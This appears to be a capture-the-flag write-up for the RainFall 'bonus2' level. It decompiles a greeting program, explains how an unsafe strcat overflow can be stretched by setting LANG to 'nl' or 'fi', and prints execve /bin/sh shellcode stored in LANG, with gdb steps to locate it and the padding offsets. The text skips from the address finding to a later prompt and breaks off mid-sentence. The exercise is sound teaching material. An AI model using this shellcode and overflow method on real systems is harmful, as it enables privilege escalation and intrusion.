

```
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH /home/user/bonus2/bonus2
bonus2@RainFall:~$
```

Decompiled file with Ghidra:

```
int language = 0;
int greetuser(char *name)
    char greeting[76];
   if (language == 1)
        strcpy(greeting, "Goedemiddag! ");
    else if (language == 2)
        strcpy(greeting, "Hyvää päivää ");
   else if (language == 0)
        strcpy(greeting, "Hello ");
    strcat(greeting, name);
   return puts(greeting);
int main(int argc, char **argv)
    char buffer1[40];
   char buffer2[32];
    if (argc != 3)
        return 1;
    strncpy(buffer1, argv[1], 40);
    strncpy(buffer2, argv[2], 32);
    char *lang_ptr = getenv("LANG");
    if (lang_ptr)
        if (memcmp(lang_ptr, "fi", 2) == 0)
            language = 1;
        else if (memcmp(lang_ptr, "nl", 2) == 0)
            language = 2;
    return greetuser(buffer1);
```

In this program, argv[1] is copied to buffer1[40] and limited to 40 characters, preventing buffer overflow. Similarly, argv[2] is safely copied to buffer2[32]. The program reads the LANG environment variable.

After copying, the program enters another function that checks the LANG variable and then appends a greeting to our first buffer with unsafe **strcat**.

For an *overflow*, the first argument must be a minimum of 40 characters so that no null-terminator is copied to buffer1, thus merging buffer1 and buffer2.

Then we need to find the offset for the second overflow:

```
0x08006241 in ?? ()
```

An issue arises here: a segmentation fault occurs, but only 2 bytes of the **EIP** register are overwritten. This is because the combined size of buffer1 and buffer2 is 72 bytes. When a 6-byte string is appended, the total reaches 78 bytes, causing a 2-byte overflow on the 76-byte greeting buffer.

For a successful exploit, we need to overwrite 4 bytes. This can be achieved by manipulating the LANG variable. If LANG starts with **nl** or **fi**, the greeting string's length becomes 13. Thus, 40 + 32 + 13 = 85, more than enough to cause a full overflow.

The actual overflow occurs earlier by 76 - 13 - 40 = 23 bytes. Thus, we should add a padding of 23 bytes before inserting our exploit address, which will point to our malicious code in the **LANG** variable:

```
bonus2@RainFall:~$ export LANG=$(python -c 'print "nl" + "\x31\xc9\xf7\xe1\x51\
         x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
bonus2@RainFall:~$
                    exec env - LANG=$LANG gdb -ex 'unset env LINES' -ex 'unset
                    env COLUMNS' --args ./bonus2
(gdb) break getenv
Breakpoint 1 at 0x8048380
(gdb) run A A
Starting program: /home/user/bonus2/bonus2 A A
Breakpoint 1, 0xb7e5e1d0 in getenv () from /lib/i386-linux-gnu/libc.so.6
(gdb) finish
Run till exit from #0 0xb7e5e1d0 in getenv () from /lib/i386-linux-gnu/libc.so.6
0x080485ab in main ()
(gdb) x/16wx $eax
0xbfffffb5: 0xc9316c6e
                               0x6851e1f7
                                                                0x69622f68
                                               0x68732f2f
0xbfffffc5:
              0xb0e3896e
                               0x0080cd0b
                                               0x3d445750
                                                                0x6d6f682f
0xbfffffd5:
              0x73752f65
                               0x622f7265
                                               0x73756e6f
                                                               0x682f0032
0xbfffffe5:
               0x2f656d6f
                               0x72657375
                                               0x6e6f622f
                                                                0x2f327375
```

Here's the exploit address, 0xbfffffb5 + 2, which is 0xbfffffb7.

bonus3@RainFall:~\$

As in bonus0, to align our exploit with gdb's conditions, we need to run the executable in a clean environment, using its absolute path (since gdb accesses executables like that). We also have to set the PWD variable ourselves, given that gdb sets it even when the environment is empty